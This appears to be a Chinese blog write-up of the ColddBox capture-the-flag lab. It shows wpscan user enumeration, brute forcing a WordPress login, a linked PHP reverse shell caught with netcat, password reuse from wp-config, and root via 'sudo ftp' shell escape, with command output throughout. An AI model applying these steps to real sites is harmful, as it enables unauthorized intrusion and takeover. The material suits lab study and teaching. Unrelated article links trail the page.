【作业】ColddBox 靶场

Wordpress 漏洞利用与后渗透。

突破口

渗透这类 CMS 网站时,不要上来就狂扫,它大部分目录都是固定的,开源去看对应版本,商业的找几篇文章。特别 注意的是一定先去找对应版本漏洞,不要自己手工测基本行不通的。

从收集到的信息里可以找到这个登入口,基于之前的 Wordpress 渗透经验登入口是可以爆破的,渗透过程要记住 每个可能的点都要去尝试,都尝试一遍后没结果继续深入尝试。

$ wpscan --url practical.secself.com --enumerate
...
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...

使用 Wordpress 专用扫描探测工具 wpscan ,从结果里可以看出枚举出三个用户,但密码未知。工具怎么知道这几 个账户的存在,这是基础漏洞,在金融、银行等大公司这个漏洞是致命的。

  ERROR: Invalid username. Lost your password?
 ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?

上面两个提示可以判断出用户是否存在,这几乎是开发人员最容易忽视的问题,在注册、找回密码和登入等涉及用户的接口非常常⻅。

打点

开始爆破登入接口,还是使用 wpscan 工具,也可以用bp。

ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?
$ wpscan --url practical.secself.com --usernames c0ldd --passwords xato-net-10-million-
passwords-100000.txt
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / cowboys1 Time: 00:00:44 <
102915) 2.83% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0ldd, Password: 9876543210
...

最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本地址。

https://github.com/pentestmonkey/php-reverse-shell

最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本传送⻔。

拿到shell准备开始提权

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.104] from (UNKNOWN) [192.168.2.106] 51414
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
06:55:10 up 1:08, 0 users, load average: 0.02, 0.01, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

提权

还是老一套,从 sudo 开始尝试,提示 no tty present 需要创建一个 tty 命令行。

使用 python 创建一个 tty 控制台,用于 sudo 提权

python3 -c 'import pty;pty.spawn("/bin/bash")'

使用 sudo -l 发现需要使用密码,在机器上收集一些密码信息。

$ sudo -l
sudo: no tty present and no askpass program specified
www-data@ColddBox-Easy:/$ sudo -l
sudo -l
[sudo] password for www-data:

找到 Wordpress 配置信息,看下数据库用户名和密码是否与系统账户重合

...

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...

成功切换到 c0ldd 用户,继续使用 sudo 提权

$ sudo -l
sudo -l
[sudo] password for c0ldd: cybersecurity
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in
El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp

ftp提权成功,拿到root权限

$ sudo ftp
sudo ftp
ftp> !/bin/bash
!/bin/bash
# id
id
uid=0(root) gid=0(root) grupos=0(root)

Wordpress 漏洞利用与后渗透的更多相关文章

  1. Meterpreter后渗透阶段之远程桌面开启

    实验目的 学习利用Meterpreter后渗透阶段模块来开启靶机远程桌面 实验原理 利用Meterpreter生成木马,利用木马控制靶机进行远程桌面的攻击 实验内容 利用Meterpreter后渗透阶 ...

  2. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  3. iOS macOS的后渗透利用工具:EggShell

    EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提 ...

  4. MySQL数据库渗透及漏洞利用总结

    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP.和WAMP等,在针对网站渗透中,很 ...

  5. 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

    [2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...

  6. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  7. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  8. Nmap备忘单:从探索到漏洞利用 Part1

    在侦查过程中,信息收集的初始阶段是扫描. 侦查是什么? 侦查是尽可能多的收集目标网络的信息.从黑客的角度来看,信息收集对攻击非常有帮助,一般来说可以收集到以下信息: 电子邮件.端口号.操作系统.运行的 ...

  9. Nmap从探测到漏洞利用备忘录 – Nmap简介(一)

    在侦查期间,扫描一直是信息收集的初始阶段. 什么是侦查 侦查是尽可能多收集关于目标网络的信息.从黑客的角度来看,信息收集对于一次攻击非常有用,所以为了封锁恶意的企图,渗透测试者通常尽力查找这些信息,发 ...

  10. LFI漏洞利用总结

    主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...

随机推荐

  1. LeetCode-23 合并K个升序链表

    来源:力扣(LeetCode)链接:https://leetcode-cn.com/problems/merge-k-sorted-lists 题目描述 给你一个链表数组,每个链表都已经按升序排列. ...

  2. 【Java-01-3】java基础-基本语法(3)(数组,多维数组)

    import java.io.*; public class _07_Array { public static void main(String[] args) { // 1 定义数组 System ...

  3. Ubuntu 安装 Nginx

    Ubuntu版本:20.04.1 LTS Nginx版本:1.22.0 下载地址: https://nginx.org/en/download.html 上传目录:/usr/local/src 安装目 ...

  4. 桌面应用(.exe)设置窗口默认最大化、全屏(electron)

    设置窗口默认最大化.全屏(electron) 一.默认最大化 win = new BrowserWindow({show: false}) win.maximize() win.show() 二.默认 ...

  5. C# DevExpress中GridControl控件的基本属性设置和使用方法

    1.GridControl隐藏GroupPanel(主面板) 隐藏:鼠标单击Run Designer-OptionsView-ShowGroupPanel=False; 修改:鼠标单击Run Desi ...

  6. SpringBoot启动失败问题

    SpringBoot启动失败问题 一.现象 pom.xml没有显示报错,也能查看到各种需要的依赖jar包,但在启动时显示 二.原因 网络不好导致maven导包失败或者导包不完整 三.解决办法 进入项目 ...

  7. js判断任意数值接近数组中的某个值

    可以是数组,也可以是数组对象,看需求定义 let val = '' for (let i = 0; i < this.allData.length; i++) { if (this.days & ...

  8. nginx 使用ssl证书配置https协议

    如果能给你带来帮助,不胜荣幸,如果有错误也请批评指正,共同学习,共同进步. 第一,需要去申请或者购买ssl证书(这步略过,因为开发过程中没有给我提供证书和域名,只有ip地址),我从网上找了一份如何申请 ...

  9. Qt控件installEventFilter后不显示了

    原因是在eventFilter函数内return true了,就不会在执行paint事件了,将return true改为return false即可.

  10. React函数式组件值之useRef()和useImperativeHandle()

    一.useRef useRef共有两种用法,获取子组件的实例(只有类组件可用),在函数组件中的一个全局变量,不会因为重复 render 重复申明, 类似于类组件的 this.xxx. 1. useRe ...